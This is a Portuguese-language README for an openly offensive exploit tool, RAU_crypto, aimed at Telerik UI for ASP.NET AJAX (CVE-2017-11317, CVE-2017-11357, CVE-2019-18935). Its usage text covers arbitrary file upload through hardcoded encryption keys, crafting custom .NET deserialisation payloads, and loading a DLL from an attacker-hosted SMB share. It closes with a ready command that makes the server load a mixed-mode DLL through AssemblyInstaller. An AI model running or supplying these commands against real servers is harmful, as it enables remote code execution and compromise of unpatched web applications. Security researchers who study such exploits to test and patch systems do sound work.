
Telerik UI para ASP.NET AJAX Upload de arquivo e exploração de desserialização .NET (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Exploit combinado para Telerik UI for ASP.NET AJAX.
Agora suporta testar a capacidade do alvo de buscar payloads remotos de um serviço SMB hospedado pelo atacante. Use Burp Collaborator e/ou Responder para facilitar o teste se os pré-requisitos necessários estão em vigor.
Para que a exploração funcione, você geralmente precisa de uma versão com chaves hard coded, ou precisa conhecer a chave, por exemplo, se puder divulgar o conteúdo do web.config. O exploit também permite descriptografia e criptografia diretas do rauPostData usado com Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome ou pip3 install pycryptodomexMeu outro exploit para Telerik UI (para CVE-2017-9248) provavelmente também será de interesse. Está disponível aqui:
Nota - os últimos quatro itens estão completos, mas não foram lançados.
A vulnerabilidade de upload de arquivo (CVE-2017-11317) foi descoberta por outras pessoas, acredito que os créditos sejam devidos a @straight_blast @pwntester @olekmirosh . Pouco depois de ser anunciada, encontrei a biblioteca Telerik durante o curso do meu trabalho, então pesquisei sobre ela e a vulnerabilidade e escrevi este exploit em julho de 2017. Também reportei a CVE-2017-11357 para a referência direta insegura a objeto relacionada.
A vulnerabilidade de desserialização .NET (CVE-2019-18935) foi descoberta por @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
Para detalhes sobre payloads personalizados para desserialização .NET, há um ótimo artigo de @mwulftange, que descobriu esta vulnerabilidade, no blog Code White no seguinte link.
Atualização - Existe um exploit alternativo de Caleb Gross @noperator, que incorpora recursos deste exploit, com um ótimo artigo de blog explicando tudo. Agradecimentos também a Caleb por contribuir com o RAU_Crypto.
Outros links relevantes.
Exemplo de payload de desserialização .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Para DLL de modo misto, veja meu outro repositório no GitHub:
Agradecimento especial a @irsdl, que inspirou o recurso de payload personalizado.
Crédito a @rwincey, que inspirou o recurso de dll remota.